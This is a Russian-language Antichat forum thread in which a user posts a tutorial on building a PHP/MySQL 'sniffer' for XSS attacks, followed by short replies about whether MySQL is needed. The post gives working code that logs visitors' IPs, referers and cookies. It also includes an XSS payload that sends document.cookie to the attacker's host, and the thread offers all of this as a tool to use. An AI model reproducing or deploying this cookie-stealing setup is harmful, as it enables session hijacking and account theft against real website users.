Sniffer _Pantera_ for Antichat

Discussion in 'PHP' started by _Pantera_, 28 May 2007.

  1. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Введение

    При изучении атак вида XSS я столкнулся с проблемой - у меня небыло снифера. Я искал готовый снифер в интернете, но ничего дельного не нашел. Пообщавшись с юзерами античата мне дали дельный совет - снифер лутьше написать самому. Я так и сделал. Писал на php+mysql.


    Начнем

    Для начала создадим базу данных с именем sniffer
    а после таблицу data
    Сразу после этого напишем config.php
    PHP:
    <?php
      $dbhost 
    "database";
      
    $dbuser "login";
      
    $dbpass "password";
      
    $dbname "sniffer";

      
    $db = @mysql_connect($dbhost$dbuser$dbpass);
      if (!
    $db) {
        exit (
    "<P>Сервер базы данных не доступен</P>" );
      }
      if (!@
    mysql_select_db($dbname$db)) {
        exit( 
    "<P>База данных $dbname не доступна</P>" );
      }
    ?> 
    ps требует редактирования


    Теперь создаем snif.php
    PHP:
    <html>
    <head>
    <title>Sniffer _Pantera_ for Antichat</title>
    </head>
    <body>
    <?
    $ip = UrlDecode(getenv('REMOTE_ADDR'));
    $referer = UrlDecode(getenv('HTTP_REFERER'));
    $qu = UrlDecode(getenv('QUERY_STRING'));
    $cookie=getenv('HTTP_COOKIE');


    require_once("config.php");
    $query = "INSERT INTO `data` VALUES(NULL, '$ip', '$referer','$qu','$cookie')";
    mysql_query($query, $db);
    mysql_close($db);
    ?>
    </body>
    </html> 
    ps Именно он будет добавлять записи в базу данных.

    Теперь создадим .htaccess:
    ps В папку с снифером поместите любой gif рисунок и переименуйте его в image.gif

    И наконец создаем log.php
    PHP:
    <html>
    <head>
    <title>Снифер _Pantera_ for Antichat</title>
    </head>
    <body>
    <?php
    include('config.php');
    $query "SELECT * FROM `data` ORDER by `id` DESC";
    $result mysql_query($query);

      while(
    $perem mysql_fetch_array($result))
      {
    echo 
    "<TABLE WIDTH=100% BORDER=1><DIV style='margin-bottom: 15;'>
    <tr><td WIDTH=15% bgcolor=#FFCC33><center>ip</center></td><td>"
    .$perem['ip']."</td></tr>
    <tr><td WIDTH=15% bgcolor=#FFCC33><center>referer</center></td><td>"
    .$perem['referer']."</td></tr>
    <tr><td WIDTH=15% bgcolor=#FFCC33><center>query</center></td><td>"
    .$perem['qu']."</td></tr>
    <tr><td WIDTH=15% bgcolor=#FFCC33><center>cookie</center></td><td>"
    .$perem['cookie']."</td></tr></table>";

      }

    ?>
    </body>
    </html>
    ps Этот файл будет считывать данные из базы данных и выводить их на экран в обратном порядке.

    Ну вот собственно и все. Осталось теперь залить эти все файлы на хостинг с поддержкой php+mysql и использовать.

    Использовние
    Простой вызов по ссылке:
    <a href="http://site.ru/image.gif?test">жми тут</a>

    Вызов как картинки:
    <img src="http://site.ru/image.gif">

    Вызов из скрипта:
    <script>img = new Image(); img.src = "http://site.ru/image.gif?"+document.cookie;</script>

    Заключение
    Хочу сказать парочку слов в заключение. Снифер написал для себя, и оформил его по своему вкусу. Если вам он понравиться буду обновлять. Главное пишите каким бы вы его хотели видеть.
    C уважением _Pantera_ (С)
     
    6 people like this.
  2. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    а разве без mysql ни как?
     
  3. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Я его писал на свой вкус, можно было сделать с txt-шником.
     
    1 person likes this.
  4. Knight_of_Darkness

    Knight_of_Darkness Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    69
    Likes Received:
    68
    Reputations:
    24
    не знаю, по-моему мускуль в сниффере не нужен. ИМХО.
    з.ы. рульная у тебя подпись, в точку.
     
  5. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    каждый дрочит как хочет (с)
    так что тут дело вкуса )
     
  6. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    Ещё один..... куда их хоть столько, пип, юзаем каника и все в поряде, .....
    плин один и тот-же куск кода в разной разметке =\

    http://forum.antichat.ru/thread41026.html
     
    1 person likes this.